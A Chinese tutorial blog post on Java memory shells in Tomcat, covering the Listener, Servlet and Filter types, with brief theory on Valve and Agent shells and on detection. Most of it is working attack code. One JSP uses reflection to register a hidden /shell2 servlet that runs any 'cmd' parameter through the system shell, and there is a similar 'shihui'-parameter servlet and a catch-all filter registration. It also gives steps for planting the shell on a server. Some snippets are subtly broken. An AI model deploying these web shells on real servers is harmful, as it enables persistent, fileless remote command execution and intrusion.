小谈java内存马
基础知识
(代码功底不好,就找ai优化了一下)
Java内存马是一种利用Java虚拟机(JVM)动态特性(如类加载机制、反射技术等)在内存中注入恶意代码的攻击手段。它不需要在磁盘上写入文件,因此具有很强的隐蔽性,难以被传统基于文件系统的安全检测工具发现。
Java内存马的实现主要依赖以下JVM特性:
反射机制:通过反射可以动态地操作类、方法和字段,甚至可以调用私有方法或修改私有字段。
动态类加载:Java允许在运行时动态加载新的类,内存马利用这一点将恶意代码加载到JVM中。
字节码操作:通过工具(如ASM、CGLIB)可以动态生成或修改字节码,从而注入恶意逻辑。
Java内存马的常见类型 | 原理 |
---|---|
Servlet型内存马 | 利用Java反射技术和Web容器(如Tomcat)的API,在运行时动态注册恶意的Servlet组件。当访问特定URL时,恶意Servlet会被触发执行。 |
Listener型内存马 | 利用Java反射技术和Web容器(如Tomcat)的API,在运行时动态注册恶意的Servlet组件。当访问特定URL时,恶意Servlet会被触发执行 |
Filter型内存马 | 动态注册恶意的Filter(过滤器),在请求到达Servlet之前拦截请求并执行恶意代码。 |
Valve型内存马 | 基于Tomcat的Valve机制,动态注册恶意Valve组件。Valve在请求处理流程中更早地拦截请求,甚至可以拦截所有请求 |
Java-Agent型内存马 | 利用Java-Agent技术,通过java.lang.instrument包动态修改类的字节码,注入恶意代码。这种方式可以在不修改源代码的情况下,修改已加载类的行为 |
讲人话,就是java内存马是无文件落地的,利用Java的动态特性将恶意代码注入到内存中运行,且能够在不触发文件检测的情况下长期驻留,但内存马的持久性依赖于JVM的运行,一旦JVM重启,内存马通常会失效。
java三大组件
Servlet 、Filter 、Listener
三个组件的作用…(叽里咕噜一大堆)
三大组件 | 总结与区别 |
---|---|
Servlet | 核心功能:处理请求和响应,生成动态内容。生命周期:由请求触发,每次请求都会调用doGet()或doPost()方法。 作用范围:针对具体的请求和响应。 |
Filter | 核心功能:拦截请求和响应,执行预处理或后处理。 生命周期:在请求到达Servlet之前或响应返回客户端之前被调用。作用范围:可以作用于多个Servlet或整个应用。 |
Listener | 核心功能:监听生命周期事件,执行特定逻辑。生命周期:在事件发生时被调用,例如应用启动、会话创建等。 作用范围:全局作用,监听整个应用的生命周期。 |
当然了,要了解一下JAVA Web的访问流程
1、我们去请求一个1.jsp
2、经过Listener组件,如果存在的话
3、经过Filter组件,如果存在的话
4、此时来到Servlet这个组件,如果服务端存在1.jsp这个文件的话,那么就会去请求相对应的路由
5、访问1.jsp这文件
Listener、Filter这两个组件不一定会经过,但是Servlet这个组件一定会经过,因为Servlet 是 Java Web 开发的核心组件,用于处理请求并生成响应
Listener
基于 Listener 的内存马利用 Tomcat 的 API 和 Java 的反射机制,在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。
第一个小复现
在本机的idea上测试,先建一个项目,再新建一个test的类
其中建立一个Listener监听器,指向刚刚建立的test1文件内容
再test1类中写入
package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;public class test1 implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent arg0) {System.out.println("requestInitialized");ServletRequestListener.super.requestInitialized(arg0);}@Overridepublic void requestDestroyed(ServletRequestEvent arg0) {System.out.println("requestDestroyed");ServletRequestListener.super.requestDestroyed(arg0);}
}
说明成功运行
我们同样可以加入一些执行代码。比如弹计算器啊
我这里加入了一些代码,访问后发现打开了文件夹
package com.sf.maven.listenershell;import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.annotation.WebListener;
import jakarta.servlet.http.HttpServletRequest;@WebListener
public class Test1 implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent event) {// 将 ServletRequest 转换为 HttpServletRequestHttpServletRequest request = (HttpServletRequest) event.getServletRequest();System.out.println("Request initialized: " + request.getRequestURI());executeCommand(); // 调用执行命令的方法}@Overridepublic void requestDestroyed(ServletRequestEvent event) {// 将 ServletRequest 转换为 HttpServletRequestHttpServletRequest request = (HttpServletRequest) event.getServletRequest();System.out.println("Request destroyed: " + request.getRequestURI());}/*** 执行系统命令的方法。*/private void executeCommand() {try {// 根据操作系统类型执行不同的命令String os = System.getProperty("os.name").toLowerCase();String command;if (os.contains("win")) {// Windows 系统:打开文件管理器command = "explorer.exe";} else if (os.contains("mac")) {// macOS 系统:打开Findercommand = "open";} else {// Linux 系统:打开默认文件管理器command = "xdg-open";}// 执行命令Process process = Runtime.getRuntime().exec(command);System.out.println("Command executed: " + command);} catch (Exception e) {System.err.println("Failed to execute command: " + e.getMessage());}}
}
Listener内存马通常是指动态注册一个新的恶意Listener组件,传统javaweb项目的内存马就是创建了个新的Listener、Filter、Servlet这几个东西,其它类型的内存马也是同理。这里要注意一下Java Web容器的Listener机制允许存在多个Listener,Listener内存马不会覆盖原有的Listener组件,新旧Listener会共存并同时生效。
但又有一个问题来了,listener 是咋把我们创建的类test1加载到内存中的
答案就是:
StandardContext类的context
StandardContext是Tomcat中管理Web应用生命周期的核心类,它通过addApplicationEventListener方法将Listener加载到内存中,并在适当的事件发生时调用它们。我们可以通过web.xml配置、注解或动态注册的方式将自定义的Listener(如Test1)添加到StandardContext中。
Servlet
Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。
该内存马流程大致如下:
创建servlet获取StandardContext#context创建wrapper并写入servlet信息添加wrapper并添加路由信息
第二个小复现
和之前的linstener差不多一样的构建方法
创建一个test2类,写入下面的代码
package com.sf.maven.servletshell;import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;public class test2 extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 输出响应内容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>GET Request Received</h1>");out.println("<p>Method: GET</p>");out.println("</body></html>");}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 输出响应内容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>POST Request Received</h1>");out.println("<p>Method: POST</p>");out.println("</body></html>");}@Overrideprotected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 设置响应内容类型resp.setContentType("text/html");PrintWriter out = resp.getWriter();// 输出响应内容out.println("<!DOCTYPE html>");out.println("<html lang='en'>");out.println("<head><title>Test Servlet</title></head>");out.println("<body>");out.println("<h1>PUT Request Received</h1>");out.println("<p>Method: PUT</p>");out.println("</body></html>");}
}
那么就可以创建一个恶意jsp,来达成我们的目的
package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Field;public class EvilServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}@Overrideprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {processRequest(request, response);}private void processRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {response.setContentType("text/plain");PrintWriter out = response.getWriter();String command = request.getParameter("shihui");if (command != null && !command.trim().isEmpty()) {try {Process process = Runtime.getRuntime().exec(command);BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));String line;while ((line = reader.readLine()) != null) {out.println(line);}} catch (IOException e) {out.println("Error executing command: " + e.getMessage());}} else {response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing or empty 'shihui' parameter");}}// 动态注册恶意 Servlet 到 Tomcatpublic static void registerEvilServlet() throws Exception {// 获取当前 ServletContextServletConfig servletConfig = EvilServlet.class.getServletConfig();Context context = (Context) servletConfig.getServletContext();// 创建 Wrapper 并封装恶意 ServletWrapper wrapper = new Wrapper();wrapper.setName("EvilServlet");wrapper.setServletClass(EvilServlet.class.getName());wrapper.setLoadOnStartup(1);// 添加到 StandardContextStandardContext standardContext = (StandardContext) context;standardContext.addChild(wrapper);standardContext.addServletMappingDecoded("/evil", "EvilServlet");System.out.println("EvilServlet registered successfully.");}
}
成功截图就懒的放了,方便下滑
CVE-2020-1938
Servlet和Tomcat的关系 Tomcat里面有Servlet容器(引擎) Tomcat可以提供HTTP访问
Tomcat可以把HTTP请求转换为HttpServletRequest对象,并调用doGet/doPost,并且把HttpServletResponse转换为HTTP响应内容
为了方便演示,这里跳过RCE,因为我们现在是想往当前 Tomcat 搭建的 Web 服务中动态注入一个恶意 Servlet,完成这个目标的前提是已经拥有了一个 Webshell
所以我这直接手动向将一个恶意 jsp 文件,实现一个恶意 Servlet 的动态注册,从而达到注入内存马操作
我们先新建一个恶意jsp文件
(找ai优化了一下代码)
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.HttpServlet" %>
<%@ page import="java.lang.reflect.Field" %><%!public class Shell2Servlet extends HttpServlet {@Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd = request.getParameter("cmd");if (cmd == null || cmd.isEmpty()) {response.getWriter().println("No command provided.");return;}boolean isLinux = System.getProperty("os.name").toLowerCase().contains("win") == false;String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};Process process = Runtime.getRuntime().exec(cmds);InputStream inputStream = process.getInputStream();Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");String output = scanner.hasNext() ? scanner.next() : "No output.";PrintWriter writer = response.getWriter();writer.println(output);writer.flush();}}
%><%ServletContext servletContext = request.getServletContext();try {Field applicationField = servletContext.getClass().getDeclaredField("context");applicationField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext context = (StandardContext) standardContextField.get(applicationContext);Wrapper wrapper = context.createWrapper();wrapper.setName("Shell2Servlet");wrapper.setServletClass(Shell2Servlet.class.getName());context.addChild(wrapper);context.addServletMappingDecoded("/shell2", "Shell2Servlet");out.println("Shell2Servlet injected successfully!");out.println("Access URL: /shell2");out.println("Parameter: cmd");} catch (Exception e) {out.println("Injection failed: " + e.getMessage());}
%>
分析上面的代码,我们可以从两部分来分析
Shell2Servlet类
这部分定义了一个继承自HttpServlet的类,用于处理HTTP请求并执行系统命令。
<%!public class Shell2Servlet extends HttpServlet {@Overrideprotected void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {String cmd = request.getParameter("cmd"); // 从请求中获取名为"cmd"的参数if (cmd == null || cmd.isEmpty()) {response.getWriter().println("No command provided."); // 如果没有命令,返回提示信息return;}boolean isLinux = System.getProperty("os.name").toLowerCase().contains("win") == false; // 判断操作系统类型String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; // 构造命令Process process = Runtime.getRuntime().exec(cmds); // 执行命令InputStream inputStream = process.getInputStream(); // 获取命令的输出流Scanner scanner = new Scanner(inputStream).useDelimiter("\\A"); // 使用Scanner读取输出String output = scanner.hasNext() ? scanner.next() : "No output."; // 将输出转换为字符串PrintWriter writer = response.getWriter(); // 获取响应的输出流writer.println(output); // 将命令的输出写入HTTP响应writer.flush(); // 刷新输出流}}
%>
service方法:
这是一个通用的请求处理方法,用于处理所有类型的HTTP请求(GET、POST等)。
它从请求中获取cmd参数,该参数包含要执行的系统命令。
操作系统判断:
通过System.getProperty(“os.name”)获取操作系统名称。
如果是Linux/Unix系统,使用sh -c执行命令;如果是Windows系统,使用cmd.exe /c执行命令。
命令执行:
使用Runtime.getRuntime().exec()执行命令。
通过InputStream获取命令的输出,并使用Scanner将其转换为字符串。
响应输出:
将命令的输出写入HTTP响应中,返回给客户端。
JSP页面中的动态注入
这部分代码通过反射操作Tomcat的内部类,动态注入Shell2Servlet,使其能够响应特定的URL路径。
<%ServletContext servletContext = request.getServletContext(); // 获取当前Web应用的ServletContexttry {Field applicationField = servletContext.getClass().getDeclaredField("context"); // 获取ServletContext中的applicationContext字段applicationField.setAccessible(true); // 设置字段可访问ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext); // 获取ApplicationContext对象Field standardContextField = applicationContext.getClass().getDeclaredField("context"); // 获取ApplicationContext中的standardContext字段standardContextField.setAccessible(true); // 设置字段可访问StandardContext context = (StandardContext) standardContextField.get(applicationContext); // 获取StandardContext对象Wrapper wrapper = context.createWrapper(); // 创建一个新的Wrapper对象wrapper.setName("Shell2Servlet"); // 设置Wrapper的名称wrapper.setServletClass(Shell2Servlet.class.getName()); // 设置Wrapper的Servlet类名context.addChild(wrapper); // 将Wrapper添加到StandardContext中context.addServletMappingDecoded("/shell2", "Shell2Servlet"); // 将Servlet映射到URL路径"/shell2"out.println("Shell2Servlet injected successfully!"); // 输出注入成功的信息out.println("Access URL: /shell2");out.println("Parameter: cmd");} catch (Exception e) {out.println("Injection failed: " + e.getMessage()); // 如果注入失败,输出错误信息}
%>
获取ServletContext:
request.getServletContext()获取当前Web应用的ServletContext对象。
反射操作:
使用反射获取ServletContext中的ApplicationContext对象。
使用反射获取ApplicationContext中的StandardContext对象。
创建Wrapper对象:
StandardContext是Tomcat中用于管理Servlet的容器。
创建一个新的Wrapper对象,用于托管Shell2Servlet。
设置Wrapper的名称和Servlet类名,并将其添加到StandardContext中。
映射URL路径:
使用addServletMappingDecoded方法将Shell2Servlet映射到URL路径/shell2。
这意味着访问/shell2时,请求将被转发到Shell2Servlet。
输出注入结果:
如果注入成功,输出成功信息和访问路径。
如果注入失败,输出错误信息。
注入完成
把该恶意jsp放入tomcat容器的/webapps/ROOT中
再去访问url/shihui.jsp,完成恶意 Servlet 的动态注入到 Tomcat 容器的动作,即注入内存马
成功访问我们注入的内存马,再url里带上一个cmd参数
Filter
流程
创建 Filter 对象:实现 javax.servlet.Filter 接口。
获取 StandardContext:通过反射获取当前 Web 应用的 StandardContext 对象。
配置 FilterDef:定义 Filter 的别名、类名和实例。
配置 FilterMap:定义 Filter 的触发路由。
将 FilterDef 和 FilterMap 添加到 StandardContext:通过反射将 Filter 注册到 Web 容器中。
filter内存马和listerner的区别
listerner内存马只需控制的是listener这个类传入,那是因为创建listener时我们要配置的信息只有类,但是filter不一样,我们要配置的信息除了类,还有类别名,还有对应的触发访问路由,那么我们想要创建一个filter内存马是不是除了filter对象的传入,还要搞清楚filter别名、filter路由是如何传入的
第三个复现
创建test3类的流程和之前一样,先在test3类里填入代码
package com.sf.maven.servletshell;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;public class test3 implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法,在 Filter 启动时调用System.out.println("init");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 将通用 ServletRequest 转换为 HttpServletRequestHttpServletRequest httpRequest = (HttpServletRequest) request;// 在请求处理之前执行逻辑System.out.println("Request received: " + httpRequest.getRequestURI());// 继续传递请求到下一个 Filter 或目标 Servletchain.doFilter(request, response);// 在请求处理之后执行逻辑System.out.println("Request processed: " + httpRequest.getRequestURI());}@Overridepublic void destroy() {// 销毁方法,在 Filter 停止时调用System.out.println("destroy");}
}
再加入你的恶意代码即可
下面这串是整个恶意代码包括之前创建类的代码
package com.sf.maven.servletshell;import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Field;public class test3 implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// 初始化方法,在 Filter 启动时调用System.out.println("init");}@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException {// 将通用 ServletRequest 转换为 HttpServletRequestHttpServletRequest httpRequest = (HttpServletRequest) request;// 在请求处理之前执行逻辑System.out.println("Request received: " + httpRequest.getRequestURI());// 继续传递请求到下一个 Filter 或目标 Servletchain.doFilter(request, response);// 在请求处理之后执行逻辑System.out.println("Request processed: " + httpRequest.getRequestURI());}@Overridepublic void destroy() {// 销毁方法,在 Filter 停止时调用System.out.println("destroy");}/*** 动态注册 Filter 到 Tomcat*/public static void registerFilter(ServletRequest request) throws Exception {// 获取当前 ServletContextServletContext servletContext = request.getServletContext();// 通过反射获取 StandardContextField contextField = servletContext.getClass().getDeclaredField("context");contextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// 创建 FilterDef 并配置 FilterFilterDef filterDef = new FilterDef();filterDef.setFilterName("test3Filter"); // 设置 Filter 别名filterDef.setFilterClass(test3.class.getName()); // 设置 Filter 类名filterDef.setFilter(new test3()); // 设置 Filter 实例// 创建 FilterMap 并配置触发路由FilterMap filterMap = new FilterMap();filterMap.setFilterName("test3Filter"); // 设置 Filter 别名filterMap.addURLPattern("/*"); // 设置触发路由,匹配所有请求// 将 FilterDef 和 FilterMap 添加到 StandardContextstandardContext.addFilterDef(filterDef);standardContext.addFilterMap(filterMap);System.out.println("Filter 'test3Filter' registered successfully.");}
}
三大内存马的总结
省流版
Servlet 内存马:通过动态注册恶意 Servlet 并绑定 URL 路由,当访问特定路径时触发恶意逻辑。
Filter 内存马:通过动态注册恶意 Filter 并配置路由,拦截请求时触发恶意逻辑。
Listener 内存马:通过动态注册恶意 Listener,当特定事件发生时(如应用启动、会话创建)触发恶意逻辑。
-
Servlet 内存马的流程
创建恶意 Servlet:
定义一个恶意的 HttpServlet,在 doGet 或 doPost 方法中实现恶意逻辑(如执行命令、读取文件等)。
动态注册 Servlet:
通过反射获取当前 Web 应用的 StandardContext 对象。
创建一个 Wrapper 对象,封装恶意 Servlet 的类名和实例。
将 Wrapper 添加到 StandardContext 中,并绑定一个 URL 路由(如 /evil)。
添加 Servlet 映射,使恶意 Servlet 能够响应特定路径的请求。
触发恶意逻辑:
当客户端访问绑定的 URL 路由时,恶意 Servlet 被触发,执行恶意逻辑。 -
Filter 内存马的流程
创建恶意 Filter:
定义一个实现 Filter 接口的恶意类,在 doFilter 方法中实现恶意逻辑。
动态注册 Filter:
通过反射获取当前 Web 应用的 StandardContext 对象。
创建 FilterDef 对象,配置恶意 Filter 的别名、类名和实例。
创建 FilterMap 对象,定义 Filter 的触发路由(如 /*,匹配所有请求)。
将 FilterDef 和 FilterMap 添加到 StandardContext 中。
触发恶意逻辑:
当客户端发起请求时,恶意 Filter 会根据配置的路由拦截请求,并执行恶意逻辑。 -
Listener 内存马的流程
创建恶意 Listener:
定义一个实现 ServletContextListener 或 HttpSessionListener 接口的恶意类,在 contextInitialized 或 sessionCreated 方法中实现恶意逻辑。
动态注册 Listener:
通过反射获取当前 Web 应用的 StandardContext 对象。
创建恶意 Listener 的实例。
将恶意 Listener 添加到 StandardContext 的监听器列表中。
触发恶意逻辑:
当 Web 应用启动(contextInitialized)或会话创建(sessionCreated)时,恶意 Listener 被触发,执行恶意逻辑。
value和agent(纯理论,无实操版)
这两个我就放一起总结了,当然不是因为懒
value是tomcat独有的
他的流程如下:
寻找目标对象或类:
找到目标应用中已存在的对象或类,这些对象或类通常具有可被利用的属性(如 value)。
修改目标对象的属性或行为:
通过反射或其他方式修改目标对象的属性值,注入恶意代码。
例如,修改某个全局变量或配置类的属性,使其包含恶意逻辑。
触发恶意代码:
当目标对象的属性被访问或使用时,恶意代码被触发。
这种触发方式通常依赖于特定的请求或操作,例如访问某个特定的 URL 或调用某个方法。
也就是说该内存马是通过修改现有对象或类的属性,适合在已有组件的基础上进行简单修改,但依赖一些特定的请求或操作
agent
Agent 类型内存马的流程:
1.创建 Agent 程序:
编写一个 Java Agent 程序,实现 premain 或 agentmain 方法。
使用 java.lang.instrument 包提供的 Instrumentation 和 ClassFileTransformer 接口来动态修改字节码。
2.打包 Agent 为 JAR 文件:
将 Agent 程序打包为 JAR 文件,并在 MANIFEST.MF 文件中指定 Premain-Class 或 Agent-Class。
3.加载 Agent:
premain 方式:在 JVM 启动时通过 -javaagent 参数加载。
agentmain 方式:在 JVM 启动后,通过 Attach API 动态加载。
使用 VirtualMachine 类连接到目标 JVM,并调用 loadAgent 方法。
4.修改字节码:
使用字节码操作库(如 Javassist、ASM)动态修改目标类的字节码。
例如,可以在目标类的方法中插入恶意代码。
5.触发恶意代码:
当目标类的方法被调用时,恶意代码被触发。
由于修改发生在内存中,不会留下文件痕迹,因此隐蔽性很高。
那么我们就可以发现Agent 类型内存马,他是用 Java Agent 技术动态修改字节码来完成的,实现复杂,但可以动态注入到已启动的 JVM 中,隐蔽性很高
查杀
虽然没几个人可以手动排查内存马,但也走个过场,作为了解即可,基本都是用工具
想要查杀那么就得先定位
内存马虽然是无文件落地的,但你也可以从其的流量特征和代码特征两个方面来完成定位
所谓的流量特征和代码特征,围绕的点,无外乎是老生常谈的那几点:
异常路径和状态码, 攻击者可能会尝试通过访问 /shell, /cmd, /hack, /test 等不存在的路径,并携带参数执行命令。
动态变化的数据包大小: 内存马在执行命令或返回结果时,会导致数据包大小发生动态变化,这是内存马活动的典型特征。
特殊的 User-Agent 或 Referer 字段: 攻击者有时会使用特殊的 User-Agent 或 Referer 字段来标识或控制内存马。
恶意的代码执行,因为内存马的核心功能是执行恶意命令。
可疑的类名和包名,比如我之前搞的test类。
加解密操作: 为了隐藏恶意代码和通信内容,内存马通常会使用加解密算法,例如 AES、Base64 等。
动态注册组件: 内存马可能会利用 Java 反射机制动态注册 Filter、Servlet、Listener 等组件。
…
至于查杀,这个图很好的描述了